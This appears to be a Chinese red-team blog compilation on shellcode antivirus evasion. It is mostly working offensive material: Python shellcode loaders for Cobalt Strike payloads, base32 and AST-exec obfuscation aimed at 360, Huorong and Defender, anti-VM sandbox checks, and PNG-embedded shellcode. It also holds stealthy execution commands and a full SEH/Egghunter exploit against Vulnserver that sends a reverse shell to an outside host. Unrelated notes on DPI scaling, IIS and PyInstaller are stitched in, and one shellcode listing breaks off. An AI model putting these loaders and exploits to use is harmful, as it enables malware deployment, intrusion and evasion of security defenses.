红队系列-shellcode AV bypass Evasion免杀合集

在这里插入图片描述

shellcode免杀

shellcode加载器

Shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。
CS可以生成指定编程语言的payload,而这个payload里面就是一段十六进制的机器码。
要想运行shellcode并上线机器的话,最常见的办法就是编写shellcode加载器,也就是为shellcode申请一段内存,然后把shellcode加载到内存中让机器执行这段shellcode。
Shellcode加载器需要调用Windows API函数,如VirtualAlloc、RtlCopyMemory等,来申请内存空间、复制内存和运行shellcode。
Shellcode里面包含了监听IP和监听端口等信息,可以通过修改十六进制代码来改变这些信息。

shellcode加载器的大致步骤如下:

选择一种编程语言,如C、Go、Python等。
定义一个char变量,用来存放shellcode的十六进制表示。
调用Windows API函数VirtualAlloc,为shellcode申请一块可读可写可执行的内存空间。
调用Windows API函数RtlCopyMemory,将shellcode复制到分配的内存空间中。
使用指针或syscall来执行shellcode。
使用MinGW或其他工具将源代码编译为Windows可执行文件。

在这里插入图片描述

高DPI的缩放

高 DPI 缩放是指在高分辨率显示器上调整显示元素的大小,以适应更高的像素密度。DPI 是“每英寸点数”(Dots Per Inch)的缩写,用于衡量屏幕或打印机上的像素密度。

在传统的低分辨率显示器上,通常会将显示元素设置为一个标准的像素大小,以确保它们在屏幕上以合适的尺寸显示。然而,随着高分辨率显示器的普及,例如 4K 或高 DPI 显示器,屏幕上的像素数量更多,导致相同大小的显示元素在物理尺寸上显得过小。

为了解决这个问题,操作系统和应用程序提供了高 DPI 缩放功能。通过启用高 DPI 缩放,操作系统会根据屏幕的分辨率和物理尺寸自动调整显示元素的大小,使其在高分辨率屏幕上看起来更大和更清晰。这样可以提高可读性和用户体验。

具体来说,高 DPI 缩放会增加应用程序的显示元素的大小,包括文本、图标、窗口边框等。这样可以确保应用程序的界面在高 DPI 显示器上正常显示,并且元素不会显得过小而难以识别。

需要注意的是,高 DPI 缩放可能会导致一些应用程序在界面布局上出现问题,特别是那些没有适配高 DPI 的旧应用程序。在某些情况下,应用程序的界面可能会变得模糊或显示不正确。为了解决这个问题,操作系统和开发人员提供了一些技术和工具来支持高 DPI 缩放,并确保应用程序在高分辨率屏幕上以最佳方式呈现。

总结起来,高 DPI 缩放是一种将显示元素调整为适应高分辨率显示器的功能,以提高可读性和用户体验。

IIS AppPool\DefaultAppPool 和 IIS AppPool.NET v4.5 都是 IIS (Internet Information Services) 中的应用程序池(AppPool)。

默认情况下,IIS 在安装时会创建一个名为 “DefaultAppPool” 的应用程序池,该应用程序池用于托管网站和应用程序。它使用默认的配置和权限设置。

而 “.NET v4.5” 是指使用 .NET Framework 4.5 版本的应用程序池。当你在 IIS 中创建一个新的应用程序池,并选择使用 .NET Framework 4.5 时,IIS 会为该应用程序池创建一个对应的身份标识 “IIS AppPool.NET v4.5”。

关于权限问题,这两个应用程序池在创建时默认使用不同的身份标识。“DefaultAppPool” 应用程序池通常使用的是 “ApplicationPoolIdentity” 身份标识,而 “.NET v4.5” 应用程序池则使用 “IIS AppPool.NET v4.5” 身份标识。

虽然这两个应用程序池有不同的身份标识,但在默认情况下,它们可能具有相似的权限级别。具体权限取决于所配置的应用程序池和相关的安全设置。通常情况下,默认应用程序池和 .NET v4.5 应用程序池都拥有适当的权限来访问所需的资源,例如文件系统、注册表等。

需要注意的是,你可以根据具体需求和安全要求,对这些应用程序池的权限进行自定义配置。你可以在 IIS 管理器中选择应用程序池,然后在高级设置中更改身份标识和权限设置。

综上所述,IIS AppPool\DefaultAppPool 和 IIS AppPool.NET v4.5 是不同的应用程序池,并且它们可能使用不同的身份标识,但具体的权限配置取决于应用程序池的设置和安全策略。

老版本windows 组件 过命令 行为链条



runas /user:admin "C:\Program Files\MyProgram\myprogram.exe"
tasklist | findstr "program.exe" taskkill /IM program.exe /F
wmic process call create 'path\to\program.exe'
Start-Process -FilePath "path\to\program.exe" -ArgumentList "-parameter1 value1 -parameter2 value2"
psexec \\computername path\to\program.exe


cmd /c path\to\program.exe
start path\to\program.exe

winrs -r:127.0.0.1 'C:/Users/Public/2.exe'

schtasks /create /tn "My Task" /tr "C:/Users/Public/2.exe" /sc daily /st 09:50


freewrap.exe
https://learn.microsoft.com/zh-cn/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/cc754753(v=ws.10)
https://mp.weixin.qq.com/s/Wk2V_wZLpjWVDraPUsh7qA
windows 运维命令


- echo "hello"
- rem
- pause
- color 00
- mode con:cols=10 lines=5

https://git-scm.com/download/win

https://mp.weixin.qq.com/s/h1_7_nH2PnQMWUm_3eQ4ng
TCL 免杀

exec 7zip.exe x test.7z

Git-2.41.0.3-64-bit.exe /VERYSILENT /NORESTART /SP-
Git-2.41.0.3-64-bit.exe /S
C:\Program Files\Git目录下
git 2.exe

http://cygwin.com/install.html


setup-x86_64.exe -q -P wget,tar,gawk,bzip2
C:\cygwin\bin\bash.exe -c "<your command>"

start /d "C:\Users\Public" 2.exe

NirCmdc.exe exec hide "2.exe"


cmder

https://github.com/Maximus5/ConEmu/releases/tag/v23.07.24


https://www.mypcrun.com/file-info-page/cmdow-exe/


cd C:\Users\Public
cmdow.exe /run /hid xxx.exe


  runas /user:tomcat "D:apache-tomcat instartup.bat"  


PyInstaller 工具的命令参数列表。

以下是每个参数的简要说明:

- [-h]:显示帮助信息
- [-v]:显示详细的调试信息
- [-D]:生成包含调试信息的构建目标,使得在调试程序时可以更容易地定位问题
- [-F]:生成单个可执行文件,而不是一个目录,因此可以更容易地传输和分发程序
- [--specpath DIR]:指定生成的 spec 文件的输出路径
- [-n NAME]:指定生成的可执行文件的名称
- [--contents-directory CONTENTS_DIRECTORY]:指定打包程序时应将哪些文件目录添加到程序中
- [--add-data SOURCE:DEST]:将指定的源文件/目录复制到生成的可执行文件中的指定目标位置
- [--add-binary SOURCE:DEST]:将指定的二进制文件复制到生成的可执行文件中的指定目标位置
- [-p DIR]:指定 Python 模块搜索路径
- [--hidden-import MODULENAME]:指定需要导入但 PyInstaller 本身无法检测到的模块
- [--collect-submodules MODULENAME]:将指定模块的所有子模块都打包到可执行文件中
- [--collect-data MODULENAME]:将指定模块的所有数据文件都打包到可执行文件中
- [--collect-binaries MODULENAME]:将指定模块的所有二进制文件都打包到可执行文件中
- [--collect-all MODULENAME]:将指定模块的所有子模块、数据文件和二进制文件都打包到可执行文件中
- [--copy-metadata PACKAGENAME]:将指定包的元数据复制到可执行文件中
- [--recursive-copy-metadata PACKAGENAME]:递归将指定包及其所有依赖项的元数据复制到可执行文件中
- [--additional-hooks-dir HOOKSPATH]:指定额外的钩子文件路径,以使 PyInstaller 能够检测到某些第三方库的依赖项
- [--runtime-hook RUNTIME_HOOKS]:指定用于运行时的钩子文件路径
- [--exclude-module EXCLUDES]:指定不应包含的模块
- [--splash IMAGE_FILE]:指定启动时显示的图标文件或图像文件
- [-d {
   all,imports,bootloader,noarchive}]:指定可执行文件的打包方式和打包后的文件类型
- [--python-option PYTHON_OPTION]:将指定的选项传递给 Python 解释器
- [-s]:生成一个离线程序,不依赖于系统上安装的 Python 环境,常用于将 Python 程序转换成 Windows 系统下的服务
- [--noupx]:生成的可执行文件不进行压缩
- [--upx-exclude FILE]:指定不应压缩的文件名或路径
- [-c]:生成控制台应用程序,程序运行时会在控制台窗口中输出结果
- [-w]:生成 Windows 窗口应用程序,程序运行时不会显示控制台窗口
- [--hide-console {
   hide-late,minimize-early,hide-early,minimize-late}]:指定生成的窗口应用程序隐藏控制台窗口的方式
- [-i]:指定应用程序的图标文件
- [--disable-windowed-traceback]:禁用在窗口应用程序中显示 Python 异常信息的功能
- [--version-file FILE]:指定生成的可执行文件的版本信息
- [-m]:指定在可执行文件中嵌入的模块或资源
- [-r RESOURCE]:指定在可执行文件中嵌入的资源
- [--uac-admin]:请求管理员权限运行程序
- [--uac-uiaccess]:在请求管理员权限时,同时请求 UIAccess 权限
- [--argv-emulation]:模拟 sys.argv,在 Windows 下编写的程序可以读取命令行参数
- [--osx-bundle-identifier BUNDLE_IDENTIFIER]:指定生成的 macOS 应用程序的包标识符
- [--target-architecture ARCH]:指定生成的可执行文件的目标 CPU 架构
- [--codesign-identity IDENTITY]:在 macOS 下的应用程序签名使用的证书
- [--osx-entitlements-file FILENAME]:指定在 macOS 下生成的应用程序的额外许可证文件
- [--runtime-tmpdir PATH]:指定临时文件的存储路径
- [--bootloader-ignore-signals]:在启动 PyInstaller bootloader 时忽略所有信号(包括 Ctrl-C- [--distpath DIR]:指定生成的可执行文件的输出路径
- [--workpath WORKPATH]:指定编译过程中的缓存和临时文件存储路径
- [-y]:在输出目录中直接覆盖已存在的文件,而不提示确认
- [--upx-dir UPX_DIR]:指定 UPX 压缩工具的路径
- [--clean]:清除缓存和临时文件
- [--log-level LEVEL]:指定日志的详细程度级别。



https://cn-sec.com/archives/1078306.html# 各语言ShellcodeLoader初探
http://www.360doc.com/content/12/0121/07/77981587_1069355799.shtml

pyinstall x86 版本 可以上线
无特征

注意profile文件 

pyinstaller -F   AV_test.py  -d noarchive --icon=icon5.ico


pyinstaller -F 1116bypass.py -d noarchive --icon=icon5.ico --runtime-tmpdir D:\tmp

分析
pyinstaller exe
golang
VC++

白加黑 dll
ico
捆绑
证书

反虚拟机

虚拟机系统文件
cpu核心数			cpu核心是否小于4
开机启动时间  	 是否大于半小时 
c盘大小判断		c盘容量是否小于50g






import shell
import os
import shutil
from psutil import boot_time
import time
from time import time
from ping3 import ping, verbose_ping
host = '192.168.100.1'
'''填写你服务器ip'''
src_addr = None
res =0
def ping_some_ip(host,src_addr=None):
    second = ping(host,src_addr=src_addr)
    return second
while res <=3:
    result = ping_some_ip(host, src_addr)
    if result is None:
        res=res+1
        break
    else:
        exit()
count = os.cpu_count()
bootTime = (time()-boot_time())/3600


将变量 bootTime 赋值为当前时间与 boot_time () 函数返回的时间的差值,然后除以 3600,得到一个以小时为单位的数值。time () 函数是一个内置函数,它返回从 1970 年 1 月 1 日 00:00:00 UTC 开始到现在的秒数。boot_time () 函数可能是自定义的函数,用于获取系统启动的时间。


total_size = shutil.disk_usage("C:\\").total
total_size = total_size / (1024 * 1024)
file_1 = os.path.exists("C:\windows\System32\Drivers\Vmmouse.sys")
file_2 = os.path.exists("C:\windows\System32\Drivers\vmtray.dll")
file_3 = os.path.exists("C:\windows\System32\Drivers\VMToolsHook.dll")
file_4 = os.path.exists("C:\windows\System32\Drivers\vmmousever.dll")
file_5 = os.path.exists("C:\windows\System32\Drivers\vmhgfs.dll")
file_6 = os.path.exists("C:\windows\System32\Drivers\vmGuestLib.dll")
file_7 = os.path.exists("C:\windows\System32\Drivers\VBoxMouse.sys")
file_8 = os.path.exists("C:\windows\System32\Drivers\VBoxGuest.sys")
file_9 = os.path.exists("C:\windows\System32\Drivers\VBoxSF.sys")
file_10 = os.path.exists("C:\windows\System32\Drivers\VBoxVideo.sys")
file_11= os.path.exists("C:\windows\System32\vboxdisp.dll")
file_12= os.path.exists("C:\windows\System32\vboxhook.dll")
file_13= os.path.exists("C:\windows\System32\vboxoglerrorspu.dll")
file_14= os.path.exists("C:\windows\System32\vboxoglpassthroughspu.dll")
file_15= os.path.exists("C:\windows\System32\vboxservice.exe")
file_16= os.path.exists("C:\windows\System32\vboxtray.exe")
file_17= os.path.exists("C:\windows\System32\VBoxControl.exe")
print('1')
'''检测是否为虚拟机'''
if file_1 or file_2 or file_17 or file_16 or file_15 or file_14 or file_13 or file_12 or file_11 or file_9 or file_8 or file_10 or file_7 or file_6 or file_5 or file_4 or file_3 :
    exit()
else :
    if bootTime <= 0.5:
       time.sleep(100)
 
 
if count < 4:
    time.sleep(100)
 
if total_size <= 50 * 1024:
    print(total_size)
    time.sleep(100)
 
else:
    shell.main()












python 弹窗是指用 python 语言编写的程序中,用于显示信息或获取用户输入的窗口。python 弹窗有多种实现方式,常见的有使用 tkinter.messagebox 模块,pywin32 模块,或者其他第三方库。python 弹窗可以根据需要设置不同的标题,内容,图标,按钮等属性,以达到不同的效果。



python 弹窗的示例代码。根据搜索结果12345,python 弹窗可以使用 tkinter.messagebox 模块来实现。这是一个内置的模块,可以创建不同类型的弹窗,如信息提示,错误警告,确认选择等。下面是一个使用 tkinter.messagebox 模块的示例代码,它会在主窗口中添加一个按钮,点击按钮后会弹出一个信息提示框。

# 导入 tkinter 和 tkinter.messagebox 模块
import tkinter as tk
import tkinter.messagebox

# 创建主窗口对象
root = tk.Tk()
# 设置主窗口标题和大小
root.title("Python 弹窗示例")
root.geometry("300x200")

# 定义一个函数,用于弹出信息提示框
def show_info():
    # 调用 showinfo 方法,设置弹窗的标题和内容
    tkinter.messagebox.showinfo(title="信息提示", message="这是一个信息提示框")

# 创建一个按钮对象,设置文本和命令
button = tk.Button(root, text="点击我", command=show_info)
# 将按钮添加到主窗口中
button.pack()

# 启动主窗口的消息循环
root.mainloop() 

RGB隐写


powershell  

https://blog.csdn.net/qq_45290991/article/details/120499524

利用RGB隐写隐藏Shellcode

https://blog.csdn.net/weixin_46661122/article/details/109715329

SEH和Egghunter

通过SEH和Egghunter对GMON命令进行利用是一种利用漏洞服务器(Vulnserver)中的一个缓冲区溢出漏洞的方法,它可以执行任意代码。12

漏洞服务器是一个用于学习和练习二进制漏洞利用的软件,它提供了一些命令,其中一些命令存在缓冲区溢出漏洞。1

GMON命令是一个接受一个以/开头的参数的命令,如果参数的长度超过3950字节,就会触发一个缓冲区溢出,导致程序崩溃。12

这个缓冲区溢出可以利用结构化异常处理(SEH)机制来控制程序流程,SEH是Windows系统中用于处理异常情况的一种机制,它包括两个重要的组件:当前SEH处理程序(Current SE handler)和指向下一个SEH记录的指针(Pointer to the next SEH record)。23

当发生异常时,程序会调用当前SEH处理程序来处理异常,如果当前SEH处理程序无法处理异常,就会传递给下一个SEH记录中的处理程序,依次类推,直到找到合适的处理程序或者程序终止。23

利用者可以通过覆盖当前SEH处理程序和指向下一个SEH记录的指针来劫持程序流程,例如将当前SEH处理程序替换为一个弹出两次栈并返回(POP POP RET)的指令,将指向下一个SEH记录的指针替换为一个跳转到自己控制的地址的指令。23

这样,当发生异常时,程序会执行弹出两次栈并返回的指令,然后跳转到自己控制的地址,执行恶意代码。23

但是,在这个漏洞中,由于缓冲区空间有限,无法放下完整的恶意代码,所以需要使用另一种技术:Egghunter。24

Egghunter是一种在内存中寻找恶意代码并执行它的技术,它通常由一段很短的代码和一个标记(egg或tag)组成,标记是恶意代码前面重复两次的四个字节。24

利用者可以将Egghunter放在缓冲区中,并将恶意代码放在其他地方,并在恶意代码前面加上标记。当Egghunter被执行时,它会遍历内存中的每一页,并检查每一页前四个字节是否与标记相同,如果相同,就检查后四个字节是否也与标记相同,如果都相同,就跳转到标记后面执行恶意代码。24

这样,利用者就可以通过SEH和Egghunter对GMON命令进行利用,并执行任意代码。

LSASS

一般指LSASS.EXE。 

lsass.exe是一个系统进程,用于微软Windows系统的安全机制。它用于本地安全和登陆策略。


当我们获取到机器权限后,
经常使用Mimikatz在机器上获取各种凭证,
包括明文密码,NTLM哈希和Kerberos票证。

这些操作都是通过从LSASS进程内存中转储凭据的。


后来微软引入了 Windows Defender Credential Guard 这一概念,
当Windows Defender Credential Guard 启动之后,
LSASS进程内存隔离来保护这些凭证。

后续产生了绕过Windows Defender Credential Guard 
来破坏对于lsass进程内存的保护,
从而进一步提取内存凭证
具体的进程隔离描述可以参考微软官方提供的效果图:

在这里插入图片描述

GMON命令

一个利用示例是使用Python编写的脚本,它可以通过SEH和Egghunter对GMON命令进行利用,并执行反弹shell的代码。12

这个脚本的大致步骤如下:

导入socket模块和pwntools模块,用于网络通信和二进制操作。
定义目标主机和端口,以及一些常量,如偏移量、标记、NOP填充等。
生成一个反弹shell的shellcode,并在前面加上标记,作为恶意代码。
生成一个Egghunter的shellcode,并指定标记,作为寻找恶意代码的代码。
构造一个缓冲区,包括以下部分:
填充A字符,直到覆盖指向下一个SEH记录的指针。
在指向下一个SEH记录的指针处,写入一个跳转到Egghunter的指令。
在当前SEH处理程序处,写入一个弹出两次栈并返回的指令的地址。
在弹出两次栈并返回后,写入Egghunter的shellcode。
在Egghunter后面,写入一些NOP填充。
在NOP填充后面,写入恶意代码(反弹shell)。
创建一个socket对象,并连接到目标主机和端口。
接收目标主机发送的欢迎信息,并打印出来。
发送GMON命令和缓冲区,并打印出来。
关闭socket对象。
这个脚本的完整代码如下:

# 导入socket模块和pwntools模块
import socket
from pwn import *

# 定义目标主机和端口
host = "10.10.10.123"
port = 9999

# 定义一些常量
offset = 3515 # 偏移量,覆盖指向下一个SEH记录的指针
tag = "w00t" # 标记,用于Egghunter寻找恶意代码
nop = "\x90" # NOP填充

# 生成一个反弹shell的shellcode,并在前面加上标记,作为恶意代码
# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.124 LPORT=443 EXITFUNC=thread -b "\x00" -f python -v shellcode
shellcode =  ""
shellcode += tag + tag # 加上标记
shellcode += "\xba\x8a\x9c\x7c\x6a\xda\xc3\xd9\x74\x24\xf4"
shellcode += "\x5e\x31\xc9\xb1\x52\x83\xc6\x04\x31\x56\x0e"
shellcode += "\x03\x7d\xd8\x4c\xe0\xa1\xe2\xb1\x68\x46\xf3"
shellcode += "\xf6\x01\xa3\xc2\xc7\xe6\x92\xc2\x8b\x8a\xa5"
shellcode += "\x02\xc7\xde\xaa\xa6\xa3\xf3\xaa\xe3\xb0\xc0"
shellcode += "\x9c\xe4\xf9\xf5\xd7\xa5\xf8\xd4\xd3\xd8\xd5"
shellcode += "\x26\xe2\x15\xe9\xb7\xaa\x4a\xe8\xf0\xe1\xa7"
shellcode += "\x29\xb9\xfc\xf3\xa1\xc5\xf9\xb2\xd6\xb5\x0f"
shellcode += "\xc4\xe9\xe4\xa2\xf



# 导入socket模块和pwntools模块
import socket
from pwn import *

# 定义目标主机和端口,以及一些常量
host = "192.168.1.129" # 目标主机IP地址
port = 9999 # 目标主机端口号
offset = 3495 # 覆盖SEH的偏移量
tag = "w00tw00t" # 标记
nop = "\x90" # NOP填充

# 生成一个反弹shell的shellcode,并在前面加上标记,作为恶意代码
# 反弹shell的IP地址和端口号需要根据实际情况修改
malicious_code = tag + asm(shellcraft.i386.windows.sh("192.168.1.130", 4444))

# 生成一个Egghunter的shellcode,并指定标记,作为寻找恶意代码的代码
egghunter_code = asm(shellcraft.i386.windows.egghunter(tag))

# 构造一个缓冲区,包括以下部分:
# 填充A字符,直到覆盖指向下一个SEH记录的指针。
# 在指向下一个SEH记录的指针处,写入一个跳转到Egghunter的指令。
# 在当前SEH处理程序处,写入一个弹出两次栈并返回的指令的地址。
# 在弹出两次栈并返回后,写入Egghunter的shellcode。
# 在Egghunter后面,写入一些NOP填充。
# 在NOP填充后面,写入恶意代码(反弹shell)。
buffer = ""
buffer += "A" * offset # 填充A字符
buffer += "\xeb\x06\x90\x90" # 跳转到Egghunter的指令(跳过6个字节)
buffer += p32(0x625011af) # 弹出两次栈并返回的指令的地址(来自essfunc.dll)
buffer += egghunter_code # Egghunter的shellcode
buffer += nop * 20 # NOP填充
buffer += malicious_code # 恶意代码

# 创建一个socket对象,并连接到目标主机和端口
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

# 接收目标主机发送的欢迎信息,并打印出来
welcome_msg = s.recv(1024)
print welcome_msg

# 发送GMON命令和缓冲区,并打印出来
exploit_msg = "GMON /.:/" + buffer
print "[*] Sending exploit..."
s.send(exploit_msg)

# 关闭socket对象
s.close()


好的,我尝试给你一个简单的例子。假设你想利用一个存在缓冲区溢出的程序,但是你发现你可以控制的内存空间太小,不足以放下你想要执行的shellcode。这时候,你可以使用SEH和Egghunter的技术来绕过这个限制。SEH是结构化异常处理的缩写,它是Windows系统用来处理程序异常的一种机制。当程序发生异常时,它会查找SEH链表中的异常处理函数,并执行它。如果你能覆盖SEH链表中的一个函数地址,你就可以让程序跳转到你控制的地方。Egghunter是一种寻找shellcode的技术,它是一段很小的代码,可以在内存中搜索一个特定的标记(比如w00tw00t),然后跳转到标记后面的shellcode执行。你可以把Egghunter放在SEH覆盖的地方,然后把shellcode放在内存中的其他位置,前面加上标记。这样,当程序触发异常时,它会执行Egghunter,然后找到并执行shellcode。这就是通过SEH和Egghunter对GMON命令进行利用的大致思路

AST 免杀

一种python-ast免杀方式
https://mp.weixin.qq.com/s/IZIcxqCqzleOQRtaLsUA3Q



python动态加密免杀方式,过火绒、360、windows defender


免杀就是反病毒技术,它指的是一种使病毒木马免于被杀软查杀的技术,由于免杀技术的涉猎范围非常广,其中包含反会变、逆向工程、系统漏洞等和可技术,所以难度很高,其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀



python分离加载的例子
# coding=utf-8
import ctypes


# pyinstaller -F .\main.py
f = open('payload0604.bin', 'rb')


shellcode = f.read()
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(


    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))








Python的ast模块是一个用于处理Python代码抽象语法树(AST)的库。它提供了一些工具,可以让开发者轻松地检查、修改和生成Python代码的AST



抽象语法树是Python源代码的一种树形表示形式,用于表示Python代码的语法结构。Python的ast模块可以将Python代码解析为AST,并提供了许多方法和属性,以便开发者可以访问和修改AST节点



# ast - demo
# 读取源文件
with open("demo.py") as f:
    data = f.read()
# 生成可以被 exec()eval() 执行的代码对象
cm = compile(data, '<string>', 'exec')
exec(cm)





利用AST绕过免杀
既然免杀杀的的一个程序,程序又是一条一条的控制指令,代码层面也就是一行一行的代码,那么到底是哪一行被ban掉,我们可以通过一行一行进行注释进行测试


经过简单的ast代码如下

# coding=utf-8
# pyinstaller -F .\ast_test.py


import ctypes
# 读取源文件
with open("main", encoding='utf-8') as f:
    data = f.read()


# 生成可以被 exec()eval() 执行的代码对象
cm = compile(data, '<string>', 'exec')
exec(cm)
mian文件即为上面的烂大街代码
# coding=utf-8
import ctypes


# pyinstaller -F .\main.py
f = open('payload0604.bin', 'rb')
shellcode = f.read()
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(


    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))




360会扫描静态文本,简单做一下变形即可

对main进行base32变形


# coding=utf-8
# pyinstaller -F .\ast_test.py


import ctypes
import base64
# 读取源文件
with open("main", "rb") as f:
    data = f.read()
print(data)
print(type(data))
after_data = base64.b32encode(data)
with open("after_main", "wb") as f:
    f.write(after_data)



ast代码同步做改动


# coding=utf-8
# pyinstaller -F .\ast_test.py


import ctypes
import base64
# 读取源文件
with open("after_main") as f:
    data = f.read()
print(data)
data = base64.b32decode(data)


# 生成可以被 exec()eval() 执行的代码对象

cm = compile(data, '<string>', 'exec')

exec(cm)



同样的原理,将cs-payload进行base32编码

base_data.py


# coding=utf-8
# pyinstaller -F .\ast_test.py
import ctypes
import base64
# 读取源文件
with open("main.py", "rb") as f:
    data = f.read()
print(data)
print(type(data))
after_data = base64.b32encode(data)
with open("after_main", "wb") as f:
    f.write(after_data)


# 读取源文件
with open("payload0604.bin", "rb") as f:
    data = f.read()
print(data)
print(type(data))
after_data = base64.b32encode(data)
with open("after_test", "wb") as f:
    f.write(after_data)


# coding=utf-8
import ctypes
import base64
# pyinstaller -F .\main.py
f = open('after_test', 'rb')
shellcode = f.read()
shellcode = base64.b32decode(shellcode)
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))



windows defender的动态检测还是很厉害

加花尝试


# coding=utf-8
import ctypes
import base64
import math
# pyinstaller -F .\main.py
f = open('after_test', 'rb')


shellcode = f.read()


shellcode = base64.b32decode(shellcode)
shellcode = bytearray(shellcode)


print('\n'.join([''.join([('Love'[(x-y)%4]if((x*0.05)**2+(y*0.1)**2-1)**3-(x*0.05)**2*(y*0.1)**3<=0 else' ')for x in range(-30,30)])for y in range(15,-15,-1)]))


# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64


print('\n'.join([''.join([('Love'[(x-y)%4]if((x*0.05)**2+(y*0.1)**2-1)**3-(x*0.05)**2*(y*0.1)**3<=0 else' ')for x in range(-30,30)])for y in range(15,-15,-1)]))








import time
time.sleep(10)
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))


results = [1]
for i in range(2, 200):
    for j in range(2, int(math.sqrt(i))):
        if i % j == 0:
            break
    else:
        results.append(i)




# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
time.sleep(3)
results = [1]
for i in range(2, 1000):
    for j in range(2, int(math.sqrt(i))):
        if i % j == 0:
            break
    else:
        results.append(i)


# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(


    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
for i in range(2, 1000):
    for j in range(2, int(math.sqrt(i))):
        if i % j == 0:
            break
    else:
        results.append(i)
time.sleep(3)
for i in range(2, 1000):
    for j in range(2, int(math.sqrt(i))):
        if i % j == 0:
            break
    else:
        results.append(i)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))






实际对于本次ast绕过defender的深入只采取了简单的加花处理,相对来说不够稳定,但这也是免杀的一个乐趣吧,当然,除了加花意外还有很多读者可进行的操作,比如:

ast动态修改节点

进行更为强度的多重编码

将编码升级为加密,密钥存储http服务器

等等等等

图片包含马 emoji 编码 图片马表情免杀

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

360,腾讯,火绒

创建一个给图片加马的脚本,准备一张照片,取名a.png

不是所有的 bytes 对象都可以用 decode 函数转换成 str 对象,只有那些符合某种编码规则的 bytes 对象才可以。例如,你不能用 utf-8 编码来解码 shellcode,因为它不是一个有效的 utf-8 字节序列。如果你尝试这样做,你会得到一个 UnicodeDecodeError 的异常。


cobaltstrike 生成的 C语言 shellcode 可能不能用 python 的 exec() 函数执行,因为 exec() 函数只能执行 python 代码,而不是二进制代码1。如果您想用 python 执行 shellcode,您可能需要使用 mmap 和 ctypes 模块来分配可执行内存,并将 shellcode 转换为 C 函数对象12。这样做可能比较复杂,而且可能与不同的操作系统和架构有关。

import ctypes
import time

list = b""
png = open('a.png','ab+') #追加写入
print(len(list))
png.write(list)
png.close()
print('写入完成')


在图片最后写入shellcode的二进制编码

然后创建一个读取木马的脚本

png = open('a.png','rb')#二进制方式读取
shellcode = png.read()[-892:]#这里是shellcode的长度


然后给她睡一会也行,给她加个base64也行,
这里我选择了python的一个奇怪的特性

一开始怎么加密都过不了火绒,然后就使用了函数加密


# 导入ctypes模块,用于调用C语言的函数和数据类型
import ctypes
# 导入os模块,用于操作系统相关的功能
import os
# 导入sys模块,用于访问系统相关的参数和功能
import sys
# 导入time模块,用于处理时间相关的功能
import time
# 导入en模块,这可能是一个自定义的模块,我不清楚它的功能
import en

